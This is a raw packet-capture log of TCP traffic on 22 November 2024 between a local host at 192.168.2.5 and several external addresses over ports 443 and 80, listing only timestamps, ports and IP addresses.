Nov 22, 2024 23:06:46.268424034 CET	443	49894	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.305671930 CET	443	49893	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.311139107 CET	49893	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.311180115 CET	443	49893	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.311724901 CET	49893	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.311731100 CET	443	49893	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.399497986 CET	443	49895	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.400072098 CET	49895	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.400105953 CET	443	49895	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.400780916 CET	49895	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.400787115 CET	443	49895	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.400950909 CET	443	49892	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:46.401154041 CET	443	49892	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:46.401242018 CET	49892	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.401654959 CET	49892	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.401654959 CET	49892	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.401676893 CET	443	49892	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:46.401746988 CET	49892	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.454761028 CET	443	49891	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:46.454850912 CET	443	49891	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:46.454993963 CET	49891	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.455455065 CET	49891	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.455481052 CET	443	49891	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:46.455497026 CET	49891	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.455522060 CET	49891	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.457014084 CET	443	49896	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.457444906 CET	49896	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.457474947 CET	443	49896	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.458261013 CET	49896	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.458276033 CET	443	49896	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.585292101 CET	443	49897	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.585813046 CET	49897	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.585835934 CET	443	49897	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.586409092 CET	49897	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.586414099 CET	443	49897	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.702630043 CET	443	49894	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.702722073 CET	443	49894	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.702841043 CET	49894	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.702967882 CET	49894	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.702992916 CET	443	49894	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.703006029 CET	49894	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.703013897 CET	443	49894	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.706264973 CET	49902	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.706312895 CET	443	49902	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.706423044 CET	49902	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.706532001 CET	49902	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.706545115 CET	443	49902	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.717560053 CET	443	49898	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:46.718031883 CET	49898	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:46.718065023 CET	443	49898	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:46.719019890 CET	49898	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:46.719019890 CET	49898	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:46.719028950 CET	443	49898	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:46.719050884 CET	443	49898	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:46.757883072 CET	443	49900	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:46.758182049 CET	49900	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.758202076 CET	443	49900	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:46.758964062 CET	443	49893	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.759032011 CET	443	49893	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.759109020 CET	49893	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.759197950 CET	443	49900	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:46.759252071 CET	49900	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.759510040 CET	49893	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.759532928 CET	443	49893	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.759546041 CET	49893	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.759553909 CET	443	49893	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.759650946 CET	49900	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.759715080 CET	443	49900	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:46.759857893 CET	49900	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.759987116 CET	49900	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.760005951 CET	443	49900	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:46.762989998 CET	49903	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.763034105 CET	443	49903	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.763180017 CET	49903	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.763334990 CET	49903	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.763354063 CET	443	49903	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.790546894 CET	443	49899	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:46.790798903 CET	49899	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.790816069 CET	443	49899	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:46.791908026 CET	443	49899	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:46.791970015 CET	49899	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.792244911 CET	49899	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.792310953 CET	443	49899	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:46.792375088 CET	49899	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.792448044 CET	49899	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.792469978 CET	443	49899	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:46.809262991 CET	49900	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.840537071 CET	49899	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.840553999 CET	443	49899	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:46.843013048 CET	443	49895	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.843086958 CET	443	49895	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.843144894 CET	49895	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.843331099 CET	49895	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.843347073 CET	443	49895	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.843364000 CET	49895	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.843369007 CET	443	49895	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.846263885 CET	49904	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.846302986 CET	443	49904	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.846362114 CET	49904	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.846541882 CET	49904	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.846556902 CET	443	49904	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.887403965 CET	49899	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:46.891458988 CET	443	49896	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.891525984 CET	443	49896	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.891633987 CET	49896	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.892410040 CET	49896	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.892429113 CET	443	49896	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.892441034 CET	49896	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.892446041 CET	443	49896	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.898236036 CET	49905	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.898279905 CET	443	49905	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.898399115 CET	49905	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.898591042 CET	49905	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.898608923 CET	443	49905	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:47.032233953 CET	443	49897	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:47.032321930 CET	443	49897	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:47.032387018 CET	49897	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:47.032531977 CET	49897	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:47.032546043 CET	443	49897	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:47.032557964 CET	49897	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:47.032562971 CET	443	49897	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:47.035254002 CET	49906	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:47.035280943 CET	443	49906	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:47.035356045 CET	49906	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:47.035489082 CET	49906	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:47.035501957 CET	443	49906	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:47.230720043 CET	443	49900	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:47.230788946 CET	443	49900	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:47.231439114 CET	49900	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:47.231462002 CET	443	49900	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:47.231512070 CET	49900	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:47.231512070 CET	49900	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:47.269948006 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.269965887 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.269979954 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.270042896 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.270040989 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.270067930 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.270068884 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.270081043 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.270092964 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.270096064 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.270107985 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.270113945 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.270118952 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.270132065 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.270132065 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.270142078 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.270175934 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.342840910 CET	443	49899	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:47.342927933 CET	443	49899	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:47.343632936 CET	49899	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:47.343996048 CET	49899	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:47.344012022 CET	443	49899	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:47.344101906 CET	49899	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:47.344124079 CET	49899	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:47.390739918 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.390855074 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.390887022 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.391153097 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.480499029 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.480555058 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.480732918 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.480781078 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.484652996 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.484730959 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.484811068 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.484854937 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.492999077 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.493077040 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.493700981 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.493745089 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.501384974 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.501436949 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.501822948 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.501873016 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.509818077 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.509865999 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.509936094 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.510001898 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.518153906 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.518275976 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.518325090 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.526577950 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.527103901 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.527162075 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.534946918 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.534996033 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.535135031 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.535234928 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.543342113 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.543397903 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.544116020 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.544260025 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.551697016 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.551749945 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.552248955 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.552309990 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.560076952 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.560134888 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.560344934 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.560405970 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.598452091 CET	443	49898	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:47.598481894 CET	443	49898	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:47.598516941 CET	443	49898	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:47.598548889 CET	49898	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:47.598591089 CET	443	49898	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:47.598604918 CET	49898	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:47.599639893 CET	49898	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:47.599654913 CET	443	49898	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:47.599791050 CET	443	49898	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:47.599793911 CET	49898	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:47.599827051 CET	443	49898	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:47.599879980 CET	49898	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:47.599957943 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.600065947 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.690975904 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.691037893 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.691066980 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.691101074 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.693643093 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.693835020 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.693891048 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.694786072 CET	49907	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:47.694825888 CET	443	49907	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:47.694948912 CET	49907	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:47.695379019 CET	49907	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:47.695394039 CET	443	49907	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:47.699070930 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.699126005 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.701025009 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.701414108 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.701819897 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.701894999 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.705626011 CET	49908	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:47.705672026 CET	443	49908	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:47.705969095 CET	49908	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:47.706296921 CET	49908	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:47.706312895 CET	443	49908	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:47.706424952 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.706490993 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.706600904 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.708077908 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.711847067 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.711939096 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.711961031 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.712038994 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.717427015 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.717597008 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.717690945 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.722672939 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.722775936 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.723278999 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.723365068 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.728117943 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.728224039 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.728847027 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.728933096 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.733520985 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.733637094 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.733647108 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.733779907 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.737309933 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.737410069 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.737468958 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.737977982 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.741503954 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.741538048 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.741610050 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.741636038 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.745001078 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.745084047 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.745245934 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.745771885 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.748775005 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.748852968 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.748878956 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.749082088 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.752568960 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.752835989 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.752947092 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.753045082 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.756346941 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.756412983 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.756510973 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.756620884 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.760163069 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.760297060 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.760457993 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.760509014 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.763927937 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.763989925 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.764372110 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.764431000 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.767755985 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.767819881 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.768119097 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.768172979 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.771631956 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.771697044 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.772020102 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.772089958 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.775425911 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.775484085 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.776792049 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.776844978 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.779385090 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.779436111 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.872682095 CET	443	49821	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:47.872745037 CET	443	49821	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:47.872849941 CET	49821	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:47.874546051 CET	443	49822	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:47.874624968 CET	443	49822	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:47.874675989 CET	49822	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:47.903851986 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.903891087 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.903911114 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.904145956 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.904659033 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.904704094 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.904789925 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.904845953 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.907582045 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.907636881 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.907881975 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.907972097 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.910531998 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.910650969 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.910669088 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.910711050 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.913563013 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.913624048 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.913765907 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.914118052 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.916771889 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.916855097 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.916912079 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.917043924 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.919678926 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.919744015 CET	49901	80	192.168.2.5	185.215.113.16
